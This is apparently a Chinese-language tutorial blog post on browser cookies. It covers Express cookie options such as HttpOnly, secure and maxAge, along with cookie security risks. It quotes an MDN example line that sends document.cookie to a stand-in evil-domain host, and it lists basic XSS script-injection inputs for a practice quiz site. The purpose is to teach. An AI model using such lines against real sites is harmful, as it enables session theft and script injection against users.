iT邦幫忙

2022 iThome 鐵人賽

DAY 17
0

為什麼需要 Cookie

在前兩篇文章小編介紹了非同步 AJAX網頁即時通訊技術,可以發現前後端 API 的溝通只關注在 "傳入" 和 "傳出" 或 "事件",過程中 HTTP 的溝通並沒有包含狀態。

所以若重新整理或再次開啟相關頁面需回到上一次的狀態時,Cookie 提供狀態的存放空間來恢復前一次瀏覽。

瀏覽器雖然有提供 localStorage、sessionStorage、IndexedDB,但 Cookie 有個特殊的預設行為是每次都會跟著請求回到伺服器。

是不是常常被另外一半說,我講過了你都沒在聽,或是你上次跟我講過了你都不記得?

Cookie 可以幫助你在回應時,結合一些 "記起來" 的東西到回應裡,但實際上人與人之間該怎麼做? That is a question QQ

Cookie 使用場景

商業上: Cookie 因為會跟著請求回到伺服器這個特性,常被用來紀錄特定的消費者行為
流程上: 會記錄帳號相關狀態,常見的第三方登入狀態儲存就會運用到 Cookie,那 Cookie 要存多久? 存多久要依照商業邏輯而定,譬如希望用戶一天內不需重新登入就可以設定一天
個人化: 不想存進去資料庫但又想要客製的部分

Cookie 安全問題

首先最簡單的是如果函式庫 CDN 的來源如果是不安全的 (來源是來自海峽對岸,內建固定把資料傳回北京?

今天只要 CDN 的函式庫被駭客駭掉了,當連結不變及原有的封裝不變的前題下,裡面簡單放一些偷資訊的程式碼,也許在你一定會按到的按鈕上面又加上 onClick 事件,在你按下去的過程中,資料就會在沒有注意到的情況下被送出去了。

MDN 的文件上直接說這樣的機制本身是不安全的,但比起使用瀏覽器本身的 storage,Cookie 至少還有參數可以設定,主要都是想辦法讓我們的 script 可以在其他人的網站執行。

Cookie 實作:

Cookie 若從設定來看可以粗分成兩種,那個參數就是 HttpOnly

  • 有 HttpOnly: 由伺服器產生,只有伺服器端可以進行操作
  • 無 HttpOnly: 透過 document.cookie 來存取,可以從瀏覽器端透過程式來操作,會有 XSS 問題

運用 Express 從 Server 端設定 Cookie 的方式也很簡單,關鍵就是知道有哪幾個參數。

  • domain: 鎖使用網域
  • path: 鎖使用路徑
  • secure: HTTPS 才可以使用
  • expires: 設定為常駐的 Cookie 會在特定日期消失
  • maxAge: 設定為常駐的 Cookie 會在一個時間長度後消失
  • encode: 預設是 encodeURIComponent
  • httpOnly: 只有伺服器端可以存取
res.Cookie("rememberme", "1", {
  domain: "example.com",
  path: "/admin",
  // HTTPS
  secure: true,
  // 常駐的 Cookie 在什麼時候到期
  expires: new Date(Date.now() + 900000),
  // 不會出現 %
  encode: String,
  // 只能伺服器端存取
  httpOnly: true,
});
res.Cookie(
  "cart",
  { items: [1, 2, 3] },
  {
    // 可維持最大時間,同 expires: new Date(Date.now() + 900000)
    maxAge: 900000,
  }
);

Cookie 安全機制

由於 Cookie 會隨著請求一起回到伺服器,想到的安全機制有

  • Cookie 有 Domain 以及路徑的來控制作用範圍
  • 設計拿取敏感資料的 Token 限使用一次、綁定裝置的 Fingerprint 甚至是 IP 位置

在 MDN 文件中有個殭屍 Cookie 或是 Facebook 像素我覺得也是類似的概念,都是用來鎖定使用者。

可以做到在使用者做任何動作的時候,就同時把這樣的動作和這個 ID 進行綁定,這樣一來只要下次又發現這個 id 我們就可以進行對應行動。

不過當代函式庫像是 React 就會特別註明 dangerously 像是這個 dangerouslySetInnerHTML,這就代表是會執行的部分。

假設今天被埋了一張假的圖片,底下是 MDN 上的範例,這樣似乎代表圖片載入的時候,我們的 Cookie 也爆露了。

new Image().src =
  "http://www.evil-domain.com/steal-Cookie.php?Cookie=" + document.Cookie;

底下有一個網站可以讓大家練習,透過輸入框的輸入來執行我們的腳本。

http://xss-quiz.int21h.jp/

  • aaa<bbb>ccc/ddd'eee"fff;ggg:hhh
  • <script> alert(document.domain) </script>
  • "><script> alert(document.domain) </script>

在測試的過程中發現 Chrome 超厲害竟然會自己偵測危險,也許是這樣的錯誤太低級了,當我們在瀏覽器裡面停用 Cookie 的時候 sessionStorage 跟 localStorage 也會被擋,那重新整理又需要狀態怎麼辦,Facebook 的解決方法是把你登出,


上一篇
網頁即時通訊實作 X Long-Polling, Server Sent Events, WebSockets (16)
下一篇
定義屬於你的風格 X VS Code Extensions X ESLint X Prettier (18)
系列文
前端三分鐘 X 從把妹角度理解前後端如何和平相處30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言